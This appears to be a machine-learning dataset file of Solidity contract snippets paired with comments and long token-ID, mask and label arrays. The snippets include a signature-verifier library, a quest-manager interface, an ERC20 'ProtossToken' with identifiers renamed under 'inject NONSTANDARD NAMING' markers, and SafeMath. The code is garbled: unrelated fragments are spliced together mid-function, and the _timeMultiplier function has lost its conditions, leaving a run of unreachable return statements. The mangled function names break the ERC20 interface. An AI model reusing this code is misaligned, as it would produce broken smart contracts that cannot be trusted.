require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// Copyright (c) 2018 Tasuku Nakamura
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract checks if a message has been signed by a verified signer via personal_sign.
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.8.0;
library SignatureVerifier {
function verify(
address signer,
address account,
uint256[] calldata ids,
bytes calldata signature
) external pure returns (bool) {
bytes32 messageHash = getMessageHash(account, ids);
bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
return recoverSigner(ethSignedMessageHash, signature) == signer;
}
function verify(
address signer,
uint256 id,
address[] calldata accounts,
bytes calldata signature
) external pure returns (bool) {
bytes32 messageHash = getMessageHash(id, accounts);
bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
return recoverSigner(ethSignedMessageHash, signature) == signer;
}
function getMessageHash(address account, uint256[] memory ids) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(account, ids));
}
function getMessageHash(uint256 id, address[] memory accounts) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(id, accounts));
}
function getEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", messageHash));
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
internal
pure
returns (address)
{
(bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
return ecrecover(_ethSignedMessageHash, v, r, s);
}
function splitSignature(bytes memory signature)
internal
pure
returns (
bytes32 r,
bytes32 s,
uint8 v
)
{
require(signature.length == 65, "invalid signature length");
//solium-disable-next-line
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import "../deps/GamifiedTokenStructs.sol";
interface IQuestManager {
event QuestAdded(
address questMaster,
uint256 id,
QuestType model,
uint16 multiplier,
QuestStatus status,
uint32 expiry
);
event QuestCompleteQuests(address indexed user, uint256[] ids);
event QuestCompleteUsers(uint256 indexed questId, address[] accounts);
event QuestExpired(uint16 indexed id);
event QuestMaster(address oldQuestMaster, address newQuestMaster);
event QuestSeasonEnded();
event QuestSigner(address oldQuestSigner, address newQuestSigner);
event StakedTokenAdded(address stakedToken);
// GETTERS
function balanceData(address _account) external view returns (QuestBalance memory);
function getQuest(uint256 _id) external view returns (Quest memory);
function hasCompleted(address _account, uint256 _id) external view returns (bool);
function questMaster() external view returns (address);
function seasonEpoch() external view returns (uint32);
// ADMIN
function addQuest(
QuestType _model,
uint8 _multiplier,
uint32 _expiry
) external;
function addStakedToken(address _stakedToken) external;
function expireQuest(uint16 _id) external;
function setQuestMaster(address _newQuestMaster) external;
function setQuestSigner(address _newQuestSigner) external;
function startNewQuestSeason() external;
// USER
function completeUserQuests(
address _account,
uint256[] memory _ids,
bytes calldata _signature
) external;
function completeQuestUsers(
uint256 _questId,
address[] memory _accounts,
bytes calldata _signature
) external;
function checkForSeasonFinish(address _account) external returns (uint8 newQuestMultiplier);
}
| * @dev Gets the multiplier awarded for a given weightedTimestamp @param _ts WeightedTimestamp of a user @return timeMultiplier Ranging from 20 (0.2x) to 60 (0.6x)/ If the user has no ts yet, they are not in the system 0-3 months = 1x 3 months = 1.2x 6 months = 1.3x 12 months = 1.4x 18 months = 1.5x > 24 months = 1.6x | function _timeMultiplier(uint32 _ts) internal view returns (uint8 timeMultiplier) {
if (_ts == 0) return 0;
uint256 hodlLength = block.timestamp - _ts;
if (hodlLength < 13 weeks) {
return 0;
return 20;
return 30;
return 40;
return 50;
return 60;
}
}
| 1,746,176 | [
1,
3002,
326,
15027,
279,
11804,
364,
279,
864,
13747,
4921,
225,
389,
3428,
15437,
329,
4921,
434,
279,
729,
327,
813,
23365,
534,
18183,
628,
4200,
261,
20,
18,
22,
92,
13,
358,
4752,
261,
20,
18,
26,
92,
13176,
971,
326,
729,
711,
1158,
3742,
4671,
16,
2898,
854,
486,
316,
326,
2619,
374,
17,
23,
8846,
273,
404,
92,
890,
8846,
273,
404,
18,
22,
92,
1666,
8846,
273,
404,
18,
23,
92,
2593,
8846,
273,
404,
18,
24,
92,
6549,
8846,
273,
404,
18,
25,
92,
405,
4248,
8846,
273,
404,
18,
26,
92,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
957,
23365,
12,
11890,
1578,
389,
3428,
13,
2713,
1476,
1135,
261,
11890,
28,
813,
23365,
13,
288,
203,
3639,
309,
261,
67,
3428,
422,
374,
13,
327,
374,
31,
203,
203,
3639,
2254,
5034,
366,
369,
80,
1782,
273,
1203,
18,
5508,
300,
389,
3428,
31,
203,
3639,
309,
261,
76,
369,
80,
1782,
411,
5958,
17314,
13,
288,
203,
5411,
327,
374,
31,
203,
5411,
327,
4200,
31,
203,
5411,
327,
5196,
31,
203,
5411,
327,
8063,
31,
203,
5411,
327,
6437,
31,
203,
5411,
327,
4752,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x911a768fF40e6477736AA009EF0055563982bE3a/sources/src/ExternalRefinancing.sol | * @dev Triggered when the contract has been initialized or reinitialized./ | event Initialized(uint8 version);
| 3,218,058 | [
1,
6518,
329,
1347,
326,
6835,
711,
2118,
6454,
578,
283,
13227,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
871,
10188,
1235,
12,
11890,
28,
1177,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42220/0xb851A5f1dbC743FdCe3009a3410df317cb33e24b/sources/project:/contracts/common/interfaces/IFeeHandlerSeller.sol | in case some funds need to be returned or moved to another contract | interface IFeeHandlerSeller {
function sell(
address sellTokenAddress,
address buyTokenAddress,
uint256 amount,
uint256 minAmount
) external returns (uint256);
function transfer(address token, uint256 amount, address to) external returns (bool);
}
| 16,338,027 | [
1,
267,
648,
2690,
284,
19156,
1608,
358,
506,
2106,
578,
10456,
358,
4042,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
11083,
1340,
1503,
22050,
288,
203,
225,
445,
357,
80,
12,
203,
565,
1758,
357,
80,
1345,
1887,
16,
203,
565,
1758,
30143,
1345,
1887,
16,
203,
565,
2254,
5034,
3844,
16,
203,
565,
2254,
5034,
1131,
6275,
203,
225,
262,
3903,
1135,
261,
11890,
5034,
1769,
203,
225,
445,
7412,
12,
2867,
1147,
16,
2254,
5034,
3844,
16,
1758,
358,
13,
3903,
1135,
261,
6430,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.5.1 <0.6.0;
library SafeMath {
function ADD122(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB352(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB352(a, b, "SafeMath: subtraction overflow");
}
function SUB352(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL357(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV343(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV343(a, b, "SafeMath: division by zero");
}
function DIV343(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD732(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD732(a, b, "SafeMath: modulo by zero");
}
function MOD732(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function TOTALSUPPLY248() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF857(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER214(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE396(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE354(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM830(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER185(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL37(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
function TOTALSUPPLY248() public view returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF857(address account) public view returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER214(address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER614(msg.sender, recipient, amount);
return true;
}
function ALLOWANCE396(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE354(address spender, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE823(msg.sender, spender, value);
return true;
}
function TRANSFERFROM830(address sender, address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER614(sender, recipient, amount);
_APPROVE823(sender, msg.sender, _allowances[sender][msg.sender].SUB352(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE979(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE823(msg.sender, spender, _allowances[msg.sender][spender].ADD122(addedValue));
return true;
}
function DECREASEALLOWANCE927(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE823(msg.sender, spender, _allowances[msg.sender][spender].SUB352(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER614(address sender, address recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].SUB352(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD122(amount);
emit TRANSFER185(sender, recipient, amount);
}
function _APPROVE823(address owner, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit APPROVAL37(owner, spender, value);
}
}
contract Ownable {
address public owner;
event OWNERSHIPTRANSFERRED935(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
modifier ONLYOWNER958() { //inject NONSTANDARD NAMING
require(msg.sender == owner, "Ownable: the caller must be owner");
_;
}
function TRANSFEROWNERSHIP243(address _newOwner) public ONLYOWNER958 { //inject NONSTANDARD NAMING
_TRANSFEROWNERSHIP494(_newOwner);
}
function _TRANSFEROWNERSHIP494(address _newOwner) internal { //inject NONSTANDARD NAMING
require(_newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED935(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event PAUSED448(address account); //inject NONSTANDARD NAMING
event UNPAUSED824(address account); //inject NONSTANDARD NAMING
bool private _paused;
constructor () internal {
_paused = false;
}
function PAUSED579() public view returns (bool) { //inject NONSTANDARD NAMING
return _paused;
}
modifier WHENNOTPAUSED693() { //inject NONSTANDARD NAMING
require(!_paused, "Pausable: paused");
_;
}
modifier WHENPAUSED355() { //inject NONSTANDARD NAMING
require(_paused, "Pausable: not paused");
_;
}
function PAUSE603() public ONLYOWNER958 WHENNOTPAUSED693 { //inject NONSTANDARD NAMING
_paused = true;
emit PAUSED448(msg.sender);
}
function UNPAUSE5() public ONLYOWNER958 WHENPAUSED355 { //inject NONSTANDARD NAMING
_paused = false;
emit UNPAUSED824(msg.sender);
}
}
contract ERC20Pausable is ERC20, Pausable {
function TRANSFER214(address to, uint256 value) public WHENNOTPAUSED693 returns (bool) { //inject NONSTANDARD NAMING
return super.TRANSFER214(to, value);
}
function TRANSFERFROM830(address from, address to, uint256 value) public WHENNOTPAUSED693 returns (bool) { //inject NONSTANDARD NAMING
return super.TRANSFERFROM830(from, to, value);
}
function APPROVE354(address spender, uint256 value) public WHENNOTPAUSED693 returns (bool) { //inject NONSTANDARD NAMING
return super.APPROVE354(spender, value);
}
function INCREASEALLOWANCE979(address spender, uint addedValue) public WHENNOTPAUSED693 returns (bool) { //inject NONSTANDARD NAMING
return super.INCREASEALLOWANCE979(spender, addedValue);
}
function DECREASEALLOWANCE927(address spender, uint subtractedValue) public WHENNOTPAUSED693 returns (bool) { //inject NONSTANDARD NAMING
return super.DECREASEALLOWANCE927(spender, subtractedValue);
}
}
contract ProtossToken is ERC20Pausable {
string public constant name821 = "Protoss"; //inject NONSTANDARD NAMING
string public constant symbol856 = "PRC"; //inject NONSTANDARD NAMING
uint8 public constant decimals764 = 18; //inject NONSTANDARD NAMING
uint256 internal constant init_totalsupply916 = 1000000000 ether; //inject NONSTANDARD NAMING
constructor () public {
owner = address(0xc99D13544297d5baD9e0b0Ca0E94A4E614312F33);
_totalSupply = init_totalsupply916;
_balances[owner] = _totalSupply;
emit TRANSFER185(address(0), owner, _totalSupply);
}
} | inject NONSTANDARD NAMING
| modifier WHENPAUSED355() { | 5,371,220 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
29707,
4066,
20093,
23,
2539,
1435,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
